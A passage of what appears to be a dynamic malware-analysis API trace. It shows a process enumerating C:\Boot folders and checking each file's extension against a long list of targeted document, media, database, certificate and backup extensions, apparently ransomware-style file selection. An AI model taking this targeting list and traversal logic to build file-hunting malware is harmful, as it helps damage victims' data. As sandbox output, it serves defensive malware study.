3 [0040.421] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1 [0040.421] lstrlenW (lpString=".r3d") returned 4 [0040.421] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1 [0040.421] lstrlenW (lpString=".raf") returned 4 [0040.421] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1 [0040.421] lstrlenW (lpString=".rar") returned 4 [0040.421] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0040.421] FindNextFileW (in: hFindFile=0x602de0, lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0040.421] FindClose (in: hFindFile=0x602de0 | out: hFindFile=0x602de0) returned 1 [0040.421] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x39506e8 | out: hHeap=0x510000) returned 1 [0040.421] FindNextFileW (in: hFindFile=0x604220, lpFindFileData=0x353fa84 | out: lpFindFileData=0x353fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0040.422] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x39506e8 [0040.422] lstrlenW (lpString="C:\\Boot\\hu-HU") returned 13 [0040.422] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x602de0 [0040.422] FindNextFileW (in: hFindFile=0x602de0, lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.422] FindNextFileW (in: hFindFile=0x602de0, lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0040.422] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0040.422] lstrlenW (lpString=".1cd") returned 4 [0040.422] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0040.422] lstrlenW (lpString=".3ds") returned 4 [0040.422] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0040.422] lstrlenW (lpString=".3fr") returned 4 [0040.422] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0040.423] lstrlenW (lpString=".3g2") returned 4 [0040.423] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0040.423] lstrlenW (lpString=".3gp") returned 4 [0040.423] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0040.423] lstrlenW (lpString=".7z") returned 3 [0040.423] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0040.423] lstrlenW (lpString=".accda") returned 6 [0040.423] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1 [0040.423] lstrlenW (lpString=".accdb") returned 6 [0040.423] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1 [0040.423] lstrlenW (lpString=".accdc") returned 6 [0040.423] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1 [0040.423] lstrlenW (lpString=".accde") returned 6 [0040.423] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1 [0040.423] lstrlenW (lpString=".accdt") returned 6 [0040.423] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1 [0040.423] lstrlenW (lpString=".accdw") returned 6 [0040.423] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1 [0040.423] lstrlenW (lpString=".adb") returned 4 [0040.423] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0040.423] lstrlenW (lpString=".adp") returned 4 [0040.423] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0040.423] lstrlenW (lpString=".ai") returned 3 [0040.423] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0040.423] lstrlenW (lpString=".ai3") returned 4 [0040.423] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0040.423] lstrlenW (lpString=".ai4") returned 4 [0040.424] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0040.424] lstrlenW (lpString=".ai5") returned 4 [0040.424] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0040.424] lstrlenW (lpString=".ai6") returned 4 [0040.424] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0040.424] lstrlenW (lpString=".ai7") returned 4 [0040.424] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0040.424] lstrlenW (lpString=".ai8") returned 4 [0040.424] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0040.424] lstrlenW (lpString=".anim") returned 5 [0040.424] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1 [0040.424] lstrlenW (lpString=".arw") returned 4 [0040.424] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0040.424] lstrlenW (lpString=".as") returned 3 [0040.424] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0040.424] lstrlenW (lpString=".asa") returned 4 [0040.424] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0040.424] lstrlenW (lpString=".asc") returned 4 [0040.424] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0040.424] lstrlenW (lpString=".ascx") returned 5 [0040.424] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1 [0040.424] lstrlenW (lpString=".asm") returned 4 [0040.424] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0040.424] lstrlenW (lpString=".asmx") returned 5 [0040.424] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1 [0040.424] lstrlenW (lpString=".asp") returned 4 [0040.424] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0040.424] lstrlenW (lpString=".aspx") returned 5 [0040.424] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1 [0040.425] lstrlenW (lpString=".asr") returned 4 [0040.425] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0040.425] lstrlenW (lpString=".asx") returned 4 [0040.425] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0040.425] lstrlenW (lpString=".avi") returned 4 [0040.425] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0040.425] lstrlenW (lpString=".avs") returned 4 [0040.425] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1 [0040.425] lstrlenW (lpString=".backup") returned 7 [0040.425] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1 [0040.425] lstrlenW (lpString=".bak") returned 4 [0040.425] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1 [0040.425] lstrlenW (lpString=".bay") returned 4 [0040.425] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1 [0040.425] lstrlenW (lpString=".bd") returned 3 [0040.425] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1 [0040.425] lstrlenW (lpString=".bin") returned 4 [0040.425] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1 [0040.425] lstrlenW (lpString=".bmp") returned 4 [0040.425] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1 [0040.425] lstrlenW (lpString=".bz2") returned 4 [0040.425] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0040.425] lstrlenW (lpString=".c") returned 2 [0040.425] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1 [0040.425] lstrlenW (lpString=".cdr") returned 4 [0040.425] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1 [0040.425] lstrlenW (lpString=".cer") returned 4 [0040.425] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1 [0040.426] lstrlenW (lpString=".cf") returned 3 [0040.426] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1 [0040.426] lstrlenW (lpString=".cfc") returned 4 [0040.426] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1 [0040.426] lstrlenW (lpString=".cfm") returned 4 [0040.426] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1 [0040.426] lstrlenW (lpString=".cfml") returned 5 [0040.426] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1 [0040.426] lstrlenW (lpString=".cfu") returned 4 [0040.426] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1 [0040.426] lstrlenW (lpString=".chm") returned 4 [0040.426] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1 [0040.426] lstrlenW (lpString=".cin") returned 4 [0040.426] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1 [0040.426] lstrlenW (lpString=".class") returned 6 [0040.426] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1 [0040.426] lstrlenW (lpString=".clx") returned 4 [0040.426] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1 [0040.426] lstrlenW (lpString=".config") returned 7 [0040.426] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1 [0040.426] lstrlenW (lpString=".cpp") returned 4 [0040.426] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1 [0040.426] lstrlenW (lpString=".cr2") returned 4 [0040.426] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1 [0040.426] lstrlenW (lpString=".crt") returned 4 [0040.426] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1 [0040.426] lstrlenW (lpString=".crw") returned 4 [0040.426] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1 [0040.427] lstrlenW (lpString=".cs") returned 3 [0040.427] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1 [0040.427] lstrlenW (lpString=".css") returned 4 [0040.427] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1 [0040.427] lstrlenW (lpString=".csv") returned 4 [0040.427] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1 [0040.427] lstrlenW (lpString=".cub") returned 4 [0040.427] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1 [0040.427] lstrlenW (lpString=".dae") returned 4 [0040.427] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1 [0040.427] lstrlenW (lpString=".dat") returned 4 [0040.427] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1 [0040.427] lstrlenW (lpString=".db") returned 3 [0040.427] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1 [0040.427] lstrlenW (lpString=".dbf") returned 4 [0040.427] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0040.427] lstrlenW (lpString=".dbx") returned 4 [0040.427] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1 [0040.427] lstrlenW (lpString=".dc3") returned 4 [0040.427] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1 [0040.427] lstrlenW (lpString=".dcm") returned 4 [0040.427] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1 [0040.427] lstrlenW (lpString=".dcr") returned 4 [0040.427] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1 [0040.428] lstrlenW (lpString=".der") returned 4 [0040.428] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1 [0040.428] lstrlenW (lpString=".dib") returned 4 [0040.428] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1 [0040.428] lstrlenW (lpString=".dic") returned 4 [0040.428] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1 [0040.428] lstrlenW (lpString=".dif") returned 4 [0040.428] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1 [0040.428] lstrlenW (lpString=".divx") returned 5 [0040.428] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1 [0040.428] lstrlenW (lpString=".djvu") returned 5 [0040.428] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1 [0040.428] lstrlenW (lpString=".dng") returned 4 [0040.428] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1 [0040.428] lstrlenW (lpString=".doc") returned 4 [0040.428] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0040.428] lstrlenW (lpString=".docm") returned 5 [0040.428] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1 [0040.428] lstrlenW (lpString=".docx") returned 5 [0040.428] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0040.428] lstrlenW (lpString=".dot") returned 4 [0040.428] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1 [0040.428] lstrlenW (lpString=".dotm") returned 5 [0040.428] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1 [0040.428] lstrlenW (lpString=".dotx") returned 5 [0040.428] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1 [0040.428] lstrlenW (lpString=".dpx") returned 4 [0040.428] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1 [0040.429] lstrlenW (lpString=".dqy") returned 4 [0040.429] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1 [0040.429] lstrlenW (lpString=".dsn") returned 4 [0040.429] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1 [0040.429] lstrlenW (lpString=".dt") returned 3 [0040.429] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1 [0040.429] lstrlenW (lpString=".dtd") returned 4 [0040.429] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1 [0040.429] lstrlenW (lpString=".dwg") returned 4 [0040.429] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1 [0040.429] lstrlenW (lpString=".dwt") returned 4 [0040.429] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1 [0040.429] lstrlenW (lpString=".dx") returned 3 [0040.429] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1 [0040.429] lstrlenW (lpString=".dxf") returned 4 [0040.429] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1 [0040.429] lstrlenW (lpString=".edml") returned 5 [0040.429] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1 [0040.429] lstrlenW (lpString=".efd") returned 4 [0040.429] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1 [0040.429] lstrlenW (lpString=".elf") returned 4 [0040.429] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1 [0040.429] lstrlenW (lpString=".emf") returned 4 [0040.429] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1 [0040.429] lstrlenW (lpString=".emz") returned 4 [0040.429] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1 [0040.429] lstrlenW (lpString=".epf") returned 4 [0040.429] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1 [0040.429] lstrlenW (lpString=".eps") returned 4 [0040.430] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1 [0040.430] lstrlenW (lpString=".epsf") returned 5 [0040.430] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1 [0040.430] lstrlenW (lpString=".epsp") returned 5 [0040.430] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1 [0040.430] lstrlenW (lpString=".erf") returned 4 [0040.430] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1 [0040.430] lstrlenW (lpString=".exr") returned 4 [0040.430] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1 [0040.430] lstrlenW (lpString=".f4v") returned 4 [0040.430] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1 [0040.430] lstrlenW (lpString=".fido") returned 5 [0040.430] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1 [0040.430] lstrlenW (lpString=".flm") returned 4 [0040.430] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1 [0040.430] lstrlenW (lpString=".flv") returned 4 [0040.430] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1 [0040.430] lstrlenW (lpString=".frm") returned 4 [0040.430] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1 [0040.430] lstrlenW (lpString=".fxg") returned 4 [0040.430] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1 [0040.430] lstrlenW (lpString=".geo") returned 4 [0040.430] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1 [0040.430] lstrlenW (lpString=".gif") returned 4 [0040.430] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1 [0040.430] lstrlenW (lpString=".grs") returned 4 [0040.430] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1 [0040.430] lstrlenW (lpString=".gz") returned 3 [0040.430] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1 [0040.431] lstrlenW (lpString=".h") returned 2 [0040.431] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1 [0040.431] lstrlenW (lpString=".hdr") returned 4 [0040.431] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1 [0040.431] lstrlenW (lpString=".hpp") returned 4 [0040.431] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1 [0040.431] lstrlenW (lpString=".hta") returned 4 [0040.431] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1 [0040.431] lstrlenW (lpString=".htc") returned 4 [0040.431] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1 [0040.431] lstrlenW (lpString=".htm") returned 4 [0040.431] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1 [0040.431] lstrlenW (lpString=".html") returned 5 [0040.431] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1 [0040.431] lstrlenW (lpString=".icb") returned 4 [0040.431] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1 [0040.431] lstrlenW (lpString=".ics") returned 4 [0040.431] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1 [0040.431] lstrlenW (lpString=".iff") returned 4 [0040.431] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1 [0040.431] lstrlenW (lpString=".inc") returned 4 [0040.431] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1 [0040.431] lstrlenW (lpString=".indd") returned 5 [0040.431] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1 [0040.431] lstrlenW (lpString=".ini") returned 4 [0040.431] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1 [0040.431] lstrlenW (lpString=".iqy") returned 4 [0040.431] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1 [0040.432] lstrlenW (lpString=".j2c") returned 4 [0040.432] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1 [0040.432] lstrlenW (lpString=".j2k") returned 4 [0040.432] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1 [0040.432] lstrlenW (lpString=".java") returned 5 [0040.432] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1 [0040.432] lstrlenW (lpString=".jp2") returned 4 [0040.432] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1 [0040.432] lstrlenW (lpString=".jpc") returned 4 [0040.432] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1 [0040.432] lstrlenW (lpString=".jpe") returned 4 [0040.432] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1 [0040.432] lstrlenW (lpString=".jpeg") returned 5 [0040.432] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1 [0040.432] lstrlenW (lpString=".jpf") returned 4 [0040.432] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1 [0040.432] lstrlenW (lpString=".jpg") returned 4 [0040.432] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0040.432] lstrlenW (lpString=".jpx") returned 4 [0040.432] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1 [0040.432] lstrlenW (lpString=".js") returned 3 [0040.432] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1 [0040.432] lstrlenW (lpString=".jsf") returned 4 [0040.432] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1 [0040.432] lstrlenW (lpString=".json") returned 5 [0040.432] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1 [0040.432] lstrlenW (lpString=".jsp") returned 4 [0040.432] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1 [0040.432] lstrlenW (lpString=".kdc") returned 4 [0040.433] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1 [0040.433] lstrlenW (lpString=".kmz") returned 4 [0040.433] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1 [0040.433] lstrlenW (lpString=".kwm") returned 4 [0040.433] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1 [0040.433] lstrlenW (lpString=".lasso") returned 6 [0040.433] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1 [0040.433] lstrlenW (lpString=".lbi") returned 4 [0040.433] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1 [0040.433] lstrlenW (lpString=".lgf") returned 4 [0040.433] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1 [0040.433] lstrlenW (lpString=".lgp") returned 4 [0040.433] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1 [0040.433] lstrlenW (lpString=".log") returned 4 [0040.433] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1 [0040.433] lstrlenW (lpString=".m1v") returned 4 [0040.433] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1 [0040.433] lstrlenW (lpString=".m4a") returned 4 [0040.433] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1 [0040.433] lstrlenW (lpString=".m4v") returned 4 [0040.433] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1 [0040.433] lstrlenW (lpString=".max") returned 4 [0040.433] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1 [0040.433] lstrlenW (lpString=".md") returned 3 [0040.433] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1 [0040.433] lstrlenW (lpString=".mda") returned 4 [0040.433] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1 [0040.433] lstrlenW (lpString=".mdb") returned 4 [0040.434] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1 [0040.434] lstrlenW (lpString=".mde") returned 4 [0040.434] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1 [0040.434] lstrlenW (lpString=".mdf") returned 4 [0040.434] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1 [0040.434] lstrlenW (lpString=".mdw") returned 4 [0040.434] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1 [0040.434] lstrlenW (lpString=".mef") returned 4 [0040.434] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1 [0040.434] lstrlenW (lpString=".mft") returned 4 [0040.434] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1 [0040.434] lstrlenW (lpString=".mfw") returned 4 [0040.434] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1 [0040.434] lstrlenW (lpString=".mht") returned 4 [0040.434] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1 [0040.434] lstrlenW (lpString=".mhtml") returned 6 [0040.434] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1 [0040.434] lstrlenW (lpString=".mka") returned 4 [0040.434] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1 [0040.434] lstrlenW (lpString=".mkidx") returned 6 [0040.434] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1 [0040.434] lstrlenW (lpString=".mkv") returned 4 [0040.434] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1 [0040.434] lstrlenW (lpString=".mos") returned 4 [0040.434] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1 [0040.434] lstrlenW (lpString=".mov") returned 4 [0040.434] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1 [0040.434] lstrlenW (lpString=".mp3") returned 4 [0040.434] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1 [0040.435] lstrlenW (lpString=".mp4") returned 4 [0040.435] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1 [0040.435] lstrlenW (lpString=".mpeg") returned 5 [0040.435] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1 [0040.435] lstrlenW (lpString=".mpg") returned 4 [0040.435] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1 [0040.435] lstrlenW (lpString=".mpv") returned 4 [0040.435] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1 [0040.435] lstrlenW (lpString=".mrw") returned 4 [0040.435] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1 [0040.435] lstrlenW (lpString=".msg") returned 4 [0040.435] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1 [0040.435] lstrlenW (lpString=".mxl") returned 4 [0040.435] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1 [0040.435] lstrlenW (lpString=".myd") returned 4 [0040.435] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1 [0040.435] lstrlenW (lpString=".myi") returned 4 [0040.435] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1 [0040.435] lstrlenW (lpString=".nef") returned 4 [0040.435] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1 [0040.435] lstrlenW (lpString=".nrw") returned 4 [0040.435] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1 [0040.435] lstrlenW (lpString=".obj") returned 4 [0040.435] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1 [0040.435] lstrlenW (lpString=".odb") returned 4 [0040.435] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1 [0040.435] lstrlenW (lpString=".odc") returned 4 [0040.435] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1 [0040.435] lstrlenW (lpString=".odm") returned 4 [0040.436] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1 [0040.436] lstrlenW (lpString=".odp") returned 4 [0040.436] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1 [0040.436] lstrlenW (lpString=".ods") returned 4 [0040.436] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1 [0040.436] lstrlenW (lpString=".oft") returned 4 [0040.436] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1 [0040.436] lstrlenW (lpString=".one") returned 4 [0040.436] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1 [0040.436] lstrlenW (lpString=".onepkg") returned 7 [0040.436] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1 [0040.436] lstrlenW (lpString=".onetoc2") returned 8 [0040.436] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1 [0040.436] lstrlenW (lpString=".opt") returned 4 [0040.436] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1 [0040.436] lstrlenW (lpString=".oqy") returned 4 [0040.436] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1 [0040.436] lstrlenW (lpString=".orf") returned 4 [0040.436] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1 [0040.436] lstrlenW (lpString=".p12") returned 4 [0040.436] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1 [0040.436] lstrlenW (lpString=".p7b") returned 4 [0040.436] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1 [0040.436] lstrlenW (lpString=".p7c") returned 4 [0040.436] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1 [0040.436] lstrlenW (lpString=".pam") returned 4 [0040.436] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1 [0040.436] lstrlenW (lpString=".pbm") returned 4 [0040.437] 